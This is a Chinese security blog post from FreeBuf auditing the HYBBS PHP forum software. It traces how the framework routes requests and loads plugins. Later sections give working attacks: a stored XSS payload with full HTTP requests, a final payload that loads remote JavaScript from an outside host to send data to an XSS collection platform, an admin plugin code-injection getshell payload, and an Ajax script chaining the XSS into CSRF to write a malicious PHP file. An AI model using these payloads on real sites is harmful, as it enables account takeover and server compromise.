freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

99+
通读审计之HYBBS
Heihu577 2020-07-19 23:40:23 527912

0x00 前言

在笔者上篇《通读审计之天目MVC》末尾中所提到,白盒审计配合黑盒测试才可以达到最完美的效果。

那么本篇文章侧重于黑盒中所偶遇的一些隐藏度较高的漏洞进行编写,期间可能会遇到代码审计中的“回溯”。当然了,规矩不能改变,我们还会和往常一样,从了解框架运行原理到漏洞挖掘。

下载渠道:https://www.mycodes.net/41/8884.htm

0x01 MVC的了解

老样子,整个故事得从index.php开始说起。

我们之前所说过,先把程序中所运行的所有常量提取出来,再继续审计。

Index.php文件的第14行,包含进来HY/HYPHP.php文件,我们打开看一下怎么玩儿的。

HY/HYPHP.php文件的第22行,memory_get_usage()函数能返回当前分配给PHP脚本的内存量,单位是字节(byte)。这里对安全沾边较少,我们继续往下看。

31 - 33行所用来记录脚本访问开始的时间,同时定义了全局变量LOAD_CLASS以及SQL_LOG

34 - 36行可以看到初始化了三个$_SERVER全局变量,而这里获取IP头也是通过REMOTE_ADDR来进行获取,无法进行XFF头伪造。

42 - 48行定义的三个变量分别为 IS_GET、IS_POST、IS_AJAX,这三个变量都是来获取到请求过来的方式是什么,是Js所发出的Ajax请求,还是GET请求,还是POST请求。

从51 - 65行都定义了一些常量,我们在小记事本中已经有了,可以省去很多时间。

在 67 - 74行中,用来判断某些常量是否为目录,不是目录则创建目录,这里我们一带而过。

76 - 86行我们一目了然,判断 常量.config.php 文件是否存在,如果不存在则创建一个这样的文件。

在93行的判断$argv变量是否存在,我们在通读过程中并没有发现$argv变量,那么目光直接转移到96行包含进来HY.php文件之后直接调用了Lib\HY::init() 静态方法。

我们打开HY.php文件看一下到底是怎么玩的。

在HYPHP.php文件的97行直接调用HY类的init静态方法,我们打开init静态方法看一下到底是怎么玩儿的。

在HY.php文件的第7行中,直接使用了spl_autoload_register()方法来实现自动包含类文件的操作。我们看一下该方法是怎么玩儿的。笔者读到这里,因为读完autoload静态方法后还需要回来继续往下通读,所以笔者会使用Notepad++所提供的断点功能,来记录。

autoload方法的第55-57行,用来判断LOAD_CLASS这个全局变量中是否存在该类的下标,LOAD_CLASS在我们之前进行通读时,所遇见过。如果存在类的下标则自动包含直接失效。第58-85行中,58行先将类名的最左边的”\”字符进行清除,在61行进行提取类名中最后一个”\”后的字符串,$namespace截取了namespace部分,$className则截取了类名部分。$filePath将$namespace中的”\”替换为了系统路径。

第66行随后$filePath直接拼接了$className.php。这个时候我们应该类文件内部是这样进行定义的:

<?php

namespace 当前类文件的路径;

class 类名{

......

}

第67行判断是否不是文件,在启用映射搜索,这里我们可以先放到这里不管,对我们代码审计影响时回来再看也没关系,可以看到第84行直接与PATH常量进行拼接。我们看一下PATH常量是什么。

正是笔者的根目录。

在91与99行分别调用了C方法,这个方法我们还没有遇到过。应该为后期引入的C方法,我们先放下不管它,因为当前只是定义autoload自动加载,并没有执行,所以这里调用C方法也不罕见。

好了我们开始分析$info[0] == ‘Model’ 以及 $info[1] == ‘Action’这两个分支是用来干嘛的。

第88-89行,设置 \HY\Lib\Hook类中的 $include_file静态属性以及$file_type静态属性。

随后91行进行拼接路径,92行进行调用\HY\Lib\Plugin的run方法。这个时候我们目光应该转移到108-110行中去,因为 \HY\Lib\Hook类 我们当前是不存在的,这个时候调用了autoload载类函数,将它加载进来。108行进行了包含操作,109行定义LOAD_CLASS[\HY\Lib\Plugin] 为 true。

我们目光回到92行中去。92行调用了\HY\Lib\Plugin的run方法,我们打开./HY/Lib/Plugin.php文件看一下。

在16行file_get_contents进行获取源码操作,第17行调用了Hook下的re静态方法,我们打开看一下。

44行调用了str_replace_path方法,该方法对传递过来的路径的PATH部分替换为空,将”\”与”//”替换为了”/”。

而第49行self::$file成功进入if语句,因为我们并没有印象对self::$file进行设置。

目光到第50行,我们跟进init_file方法。

将两个常量发送到tree静态方法,我们打开看一下怎么玩儿的。

tree方法进行打开./Plugin/文件夹以及./View/文件夹进行遍历,如果存在 ./Plugin/XXX/on 文件,那么将./Plugin/XXX再次调用tree方法,同时$vi_on传入true。在170-171文件中判断是否存在re.php文件,如果存在,那么直接进行包含。

我们进行测试,笔者发现该程序./Plugin/文件夹下有两个默认文件夹,分别为:hy_editor以及hy_meditor如图:

我么在hy_editor文件夹下创建re.php文件内容为phpinfo。再次刷新index.php看是否包含成功。

phpinfo成功被执行,那么我们的思维逻辑是正确的,我们删除测试的re.php文件后继续往下通读。

191行else分支为包含进来的./Plugin/XXX/文件夹下的文件进行操作。

193行调用了exec静态方法,我们看一下是怎么玩的。

只是将文件的后缀进行截取了。那么我们回到Hook.php文件的第193行继续往下通读。

197行将文件后缀为hook文件调用unexe静态方法,我们看一下unexe方法是怎么运行的。

这里调用了C方法,我们先暂时放开不管。

第197行得到hook文件后,在225-228行将它放置在self::$file成员属性中,205-214行检测是否存在p.php文件,这里我们先放下不管,通过注释得知是用来优先级操作的。

那么tree方法文件读取完之后,我们回到init_file方法

Init_file方法只是将self::$file数组进行排序而已。那么我们re方法继续往下通读。

$re_php静态属性默认为空数组,那么我们目光直接转移到97行。直接将发送过来的file_get_contents原封不动的返回。

那么我们回到HY/Lib/Plugin.php文件中继续往下通读。

第28行调用了hook的encode静态方法,将读取过来的$code以及$cache_filePath传递过来了。

我们看一下encode方法是怎么玩的。

我们可以从图中看到preg_replace_callback中的正则表达式,140-144行才是重点。

判断任意文件中是否存在

//{hook XXXX}

<!--{hook XXX}-->

{hook xxxx}

这里因为tree函数当时只获取到了编辑器的hook文件

所以当页面存在编辑器时,才会进入到该分支。

我们全局搜索一下{hook t_post

可以看到模板文件都使用了该编辑器。

那么这么多代码只为一个编辑器而生。吐槽一下,你*******。

那么我们回到HY.php继续往下通读。

autoload方法倒是理解的蛮清楚的,简单的把 命名空间 当作类的路径,类名则是类文件,没有做其他路径包含处理。

我们回到第7行继续往下通读。

第8-19行,是开启debug模式,这里它自定义了错误处理函数我们也暂时放在一边。

第22行包含./HY/common/conf.php文件,我们打开看一下

返回一个数组,那么第24行又包含了./HY/common/function.php文件,我们也打开看一下。

包含了一系列自定义方法,C方法露出水面,我们打开折叠,看一下C方法的定义。

C方法是用来存取配置信息,将配置信息写入$_config数组中,这里与天目MVC的C方法类似,我们看到第55-57行,如果$name传入为空,直接将所有$_config返回,这里我们也像对待常量一样把它提取出来。

在index.php文件末尾调用一下,随后保存到记事本中。

接着我们回到HY.php继续通读。

第26行进行数组合并,我们看一下 CONF_PATH.’config.php'文件是怎么玩的。

Config.php文件再次返回了数组,随后array_merge数组合并。

随后第40行调用了文件夹\HY\Lib下的Line.php文件下的Line类下的run方法,我们打开看一下。

第5-17行可以看到它的路由方式,第一种方式为s参数来确定路由,第二种方式为$_SERVER[‘QUERY_STRING’]来获取,那么我们继续观察路由。

第20行调用了self::auto_get();,我们打开看一下

是用来自动化GET参数的,因为两种方式路由都携带问号,而URL中问号则代表将要发送GET参数,这里程序做了自动化GET参数处理,可见118-119行注释。

我们回到run方法继续往下通读。

第22-25行它给我们定义了默认的class、action、fun我们很不是理解,但其实程序在53-56行进行替换掉了。

第63-65行做了$_GET请求不混淆在路由当中的处理。

第80-81行我们可以看到$_Action以及$_Fun的规则都是首字母大写,其余小写的规则。

随后可以看到$class前拼接了”\Action\”路径,85-86行定义了ACTION_NAME、METHOD_NAME

通过命名规则我们可以知道 $class则是\Action\$action.php 文件下的$action类,ACTION_NAME为类名,METHOD_NAME为方法名。

第101行进行new $class,随后111-115行通过反射类调用$_Fun方法。

好了,我们总结以下路由规则。

一、http://www.hybbs.com/?s=XXX/AAA  中 XXX对应./Action/XXX.php文件并实例化XXX类调用AAA方法

二、http://www.hybbs.com/?XXX/AAA  中 XXX对应./Action/XXX.php文件并实例化XXX类调用AAA方法

我们在./Action/下创建Testing.php文件,文件内容如下:

<?php

namespace Action;

class Testing {

public function hello(){

echo 'Hi~';

}

}

访问http://www.hybbs.com/?s=Testing/hello

好了,整个框架思路清晰,我们开始挖掘漏洞。

0x02 做过滤的框架

我们好像了解到,框架并没有做什么过滤,我们高高兴兴的随便打开一个Action目录下的文件看一下。

在./Action/User.php文件中虽然做了htmlspecialchars以及strip_tags过滤,但是随后直接引入了S("User")中,调用了update方法,一眼就知道为数据库操作。

这个时候我们看一下S方法是如何定义的。

在function.php文件中定义了S方法,直接返回了一个\HY\Model对象,我们打开./HY/Model.php文件看一下。

Construct方法中new了一个Medoo类,我们看一下是如何定义的。

是国外编写的,还注释着官网。

那么我们打开/HY/Model.php文件搜索一下update方法。

调用了Medoo类下的update方法

在update方法末尾返回了exec方法,我们再次跟进。

在360行中做了预处理操作。用来防止SQL注入。

这个时候笔者就没有考虑SQL注入方面的事情了,当然有兴趣的可以尝试突破。下面笔者通过黑盒搭配白盒挖掘到了前台XSS漏洞。

0x03 前台XSS漏洞

XSS漏洞是攻击者与管理员交互的地方,笔者自己在前台创建了一个用户名,登录后发现一个点。

是实现的一个聊天功能,随后笔者看了看审查元素。

看到onclick调用了js中的new_chat,而传递过去的第6个参数引起了我的怀疑。

这个时候我们需要从Notepad++中搜索:”onclick="new_chat(”来定位到相应的模板。

在./public/js/friend.js文件中翻到了对应前台Js。

可以看到向Friend控制器下的friend_list方法发送一次Ajax请求,跟进friend_list方法,其中html0/html2/html3中调用了返回来的uid,user,avatar.b,ps变量。

可以看到ps变量以及user是可以查询出其他用户的字段的,然后返回给前端。

我们先看一下user字段如何可控。

在./Action/User.php文件中(是用来注册用户的)

调用了check_user成员方法,跟进

长度不能大于18以及对用户名进行了验证,这里我们先放一下,看一下ps字段。

还是在./Action/User.php文件,Edit成员方法中

经过了strip_tags过滤html标签,同时经过htmlspecialchars处理,我们看一下我们所需要的js文件。

在a标签的onclick中以单引号包裹的ps字段,htmlspecialchars是不会过滤单引号的。XSS漏洞产生了,因为当前本就在onclick事件当中,闭合单引号后接JavaScript语句即可。

但是根据业务逻辑,需要同时为用户才可以触发该点。在./Action/Friend.php中send_chat成员方法有这样一串代码:

调用了Chat模型的send方法,我们跟进看一下。

直接调用Friend模型的update_int方法,我们跟进

将uid1与uid2直接插入了。

那么我们看一下哪里调用了js中的load_friend方法。

在hy_Friend\index的模板文件中。再继续搜索哪里将它显示了。

在前台公共文件footer中。那么漏洞更加容易利用。

首先在前台创建一个正常的用户

登录完毕后复制Cookie构造HTTP请求包

POST /?user/edit.html HTTP/1.1

Host: www.hybbs.com

Content-Length: 21

Cache-Control: max-age=0

Origin: http://www.hybbs.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://www.hybbs.com/?u/heihu577%27/op.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie:当前普通用户的COOKIE

Connection: close

gn=ps&ps=Hello~I\'mTesting!!!!!!!!');alert(1);//

再次构造HTTP请求包:

POST /?s=friend/send_chat HTTP/1.1

Host: www.hybbs.com

Content-Length: 52

Accept: application/json, text/javascript, */*; q=0.01

Origin: http://www.hybbs.com

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: http://www.hybbs.com/?t/1.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie:当前普通用户的COOKIE

Connection: close

content=&uid=受害者的UID

这里管理员的uid默认为1,还有一种方法可以获得指定用户的uid

还可以使用Burp的爆破工具,从1到99999进行遍历全站用户。

随后登录uid为1 的用户(我本地为admin)

当用户登录后,默认会有“有好友消息”声音来提醒,这样大大加大了我们的XSS成功率。

单击后:

但是笔者在构造XSS平台收信时遇到了问题。

找了一下原因。

Ps字段为varchar(40),有个长度限制,遇到这种情况,通常使用XSS折叠法,但是该站点是基于用户中数据库的字段,非常繁琐,所以这里不太推荐使用这种方法。

但笔者发现前台中引用了jQuery,如图:

那么通过jQuery加载远程js的语法为:$.getScript('http://x0.nz/2oO5')

长度还不到四十个,这一点通过jQuery的简短特性,成功实现了Xss平台收信。

最终Payload:');$.getScript('http://x0.nz/2oO5')//

平台收信:

0x04 后台上传getshell

当然了,谈起黑盒测试大家经常会进入后台找一个心仪的上传点,该CMS也是存在“允许上传文件的配置项”的问题的,笔者在后台直接进行fuzz结果是确实可以进行文件上传的。

随便找一处上传点

直接上传PHP文件。

像我们平时比较忙的时候,也有XSS收信没有收到的情况,这个时候我们需要配合Ajax一键getshell了。毕竟这是个守株待兔的过程。

但是笔者发现该上传点不利于配合Ajax。

在此处抓包

我们看一下admin类下的op成员方法是如何处理的。

...部分是接收一系列POST请求,为了方便截图暂时换成... , 可以看到将配置文件写入到./Conf/conf.php文件中,我们打开看一下。

一个JSON文件,如果我们将POST请求改为如下:

重要的信息都被接收为“空”,网站直接die掉了

0x05 后台插件getshell

笔者在后台左点右点,挖掘到了第二个getshell点。

在 插件 --- 制作插件 中。

此处进行抓包

在admin类下的code方法,我们看一下处理逻辑。

没有做任何过滤,直接引入file_put_contents函数中。

那么构造Payload:name=&gn=add&name=111',phpinfo(),//&name2=3&user=1&mess=1

如图:

Phpinfo:

而且php并没有禁止直接访问。

0x06 构造一个Ajax请求

为什么笔者非要构造Ajax来配合Xss,直接构造表单发送POST请求不香嘛?

在Admin.php的__construct方法中有这样一段代码:

验证了referer,并且refere不能为空。

这个时候我们配合XSS来实现CSRF。

构造一个远程的Js:

$.ajax({

    url: "/?admin/code",

    data: {name: '111\',phpinfo(),//',gn:'add',name2:'3',user:'1',mess:'6'},

    type: "POST",

    dataType: "json",

    success: function(data) {

    }

})

外部引入结果:

发送请求

生成恶意文件

访问

# web安全 # 代码审计
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Heihu577 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章收藏
代码审计
Heihu577 LV.4
不如静下心来吸口尼古丁. 公众号: Heihu Share
  • 27 文章数
  • 205 关注者
工具分析 | ysoserial 分析与魔改
2024-12-01
Java 安全 | 从 Shiro 底层源码看 Shiro 漏洞 (下)
2024-10-24
Java 安全 | 从 Shiro 底层源码看 Shiro 漏洞 (上)
2024-10-24
文章目录